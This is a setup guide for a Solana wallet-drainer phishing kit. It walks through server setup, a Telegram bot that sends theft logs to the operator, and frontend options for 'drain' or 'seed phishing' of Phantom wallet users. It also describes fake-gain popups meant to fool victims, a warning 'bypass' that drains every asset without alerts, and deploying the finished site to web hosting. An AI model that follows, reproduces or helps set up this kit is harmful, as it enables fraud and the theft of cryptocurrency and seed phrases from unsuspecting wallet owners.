Installation
yesThis guide will help you with program installation.
P.S. Guide was written for installing on a NEW (clean) system, Ubuntu 22.04.
Before we start...
Login as root in your VDS:
sudo su
Update your system:
sudo apt-get update && sudo apt-get upgrade
Upload the program files to your VDS via FTP in /root directory, name the new folder as "builder"
Open new directory:
cd /root/builder
Next you need to install Node.js framework:
sudo apt install curl curl https://raw.githubusercontent.com/creationix/nvm/master/install.sh | bash source ~/.bashrc nvm install --lts
Let's check the installation:
node -v && npm -v
You should see something like this:
v20.11.1
10.2.4
Configuration
Configuring the backend
Now we need to setup the backend. You can use any editor to do that.
Config file is database.json
I will use nano editor, in Ubuntu.
sudo apt-get install nano nano database.json
Explanation:
telegramBotToken - Your telegram bot token, that will send logs to you. You can create bot at @BotFather
ownerPublicKey - Solana receiver, public key
connectionKey - Random key, use strong combination to make backend secure. You will need it later.
solanaRPCHostHTTPS - HTTPS protocol link to your RPC provider
solanaRPCHostWSS - WSS protocol link to your RPC provider
backendPort - Port that backend will listen
To save the edited file via Nano editor, press Ctrl + O, Enter, then Ctrl + X to leave the editor.
Configuring the frontend
Now we will setup the frontend client-server connection. You can use any editor to do that.
Config file is config.json, in frontend directory
I will use the nano editor.
cd frontend nano config.php
Explanation:
$BACKEND_HOST - Backend host, usually ip:port. You can also use domain, but this is not recommended.
$BACKEND_PROTOCOL - Protocol that will used to connect to backend. Usually http.
$BACKEND_KEYCODE - Strong combination, that you set in database.json backend config file, as connectionKey. Used to allow client-server connection.
$GROUP_CHAT_ID - Telegram chat ID, you can use your ID to get direct message from bot. You should invite bot in groupt (if you use group chat) or start the bot (if you use direct messages)
$IS_CLOUDFLARED - Will you use Cloudflare reverse proxy at frontend domain. (NOT backend one)
To save the edited file via Nano editor, press Ctrl + O, Enter, then Ctrl + X to leave the editor.
Edit the main script
Now we will setup the frontend drainer configuration. You can use any editor to do that.
File named main.js, in frontend directory
I will use the nano editor.
cd frontend # Only if you didn't do this before nano main.js
Find the:
const RPCLink = "RPC LINK";
And change here link to your RPC.
Also, you can configure the style of your website, via settings.json file:
- solflareWallet.sol - How much sol will be fake gain to user (For Solflare wallet)
- solflareWallet.transactions - How much fake sol gain transactions will be created (Each will have SOL value from solflareWallet.sol variable)
- modal - Type of modal (0-3)
- phantomWallet.type - Type of Phantom Wallet phishing (0 - drain, 1 - seed phishing)
- phantomWallet.sCon - Will user see real Connect popup before seed popup
- phantomWallet.doublePopup.enabled - Is double popup Phantom bypass enabled?*
- phantomWallet.doublePopup.solana - How much solana will be fake gain
- phantomWallet.doublePopup.solanaOwner - Who will fake send solana to victim (Public key of a big wallet with solana)
- phantomWallet.doublePopup.tokens - Extra tokens to gain
- phantomWallet.lol.enabled - Is Phantom bypass enabled?
- phantomWallet.lol.solana - How much solana will be fake gain
- phantomWallet.lol.solanaOwner - Who will fake send solana to victim (Public key of a big wallet with solana)
- phantomWallet.lol.tokens - Extra tokens to gain
Double Popup bypass - User will see 2 popups, first will be fake gain, second will be a forced warning that means "This dApp could be malicious, continue on your own risk"
"lol" Phantom bypass - One popup, with fake gain, but will drain all assets from user wallet. Without any warnings. Works on whitelisted domains.
Building the frontend
Let's build the frontend scripts:
cd frontend # Only if you didn't in frontend/ directory npm install # Install the dependencies npm run build # Build the frontend
After this, you SHOULDN'T see any red messages (errors), and in the dist/ directory you will have builded frontend scripts. (If you got one, below you will find a solutions to some problems, at "Known issues")
If you didn't get any errors, we can move forward
Using FTP, copy all dist/ directory content to any new folder.
Also, put to new folder 'assets', 'phantom', 'images' folders, and 'cmodal.css', 'settings.json', 'config.php', 'fuckthat.php' files.
Done, your website is ready to use. Now you can upload it to any web hosting (Or use own one)
IMPORTANT! Web hosting SHOULD have PHP (Tested on 8.1 version).
Starting the backend
Now we should start the backend.
Go to backend directory (If you at frontend/ directory):
cd .. # Take a step back to backend directory
Install the modules:
sudo npm install # Install dependencies sudo npm install forever -g # Install "forever" module
Starting the backend in background:
forever start index.js
Let's check the logs:
forever logs index.js
Last line should be like this:
Now we at *backend port*
This means that backend started successfully.
Conclusion
After these steps, all should work fine.
Upload the prepared files to your website and test.
Known issues
Error: 'createHash' is not exported by __vite-browser-external, imported by node_modules/@solana/spl-type-length-value/lib/esm/splDiscriminate.js
How to solve:
In frontend/ directory, use this command:
npm run fix
After, try to build again.
If it still give the same error, follow this instructions:
Using FTP, find the node_modules folder. Open it, and go to @solana/spl-type-length-value/lib/esm/splDiscriminate.js file
Edit it like this:
import crypto from 'crypto'; export const splDiscriminate = (discriminator, length = 8) => { const digest = crypto.createHash('sha256').update(discriminator).digest(); return digest.subarray(0, length); };
Save file, and try again.
sudo: *command*: command not found
Try to use the same command, but without "sudo".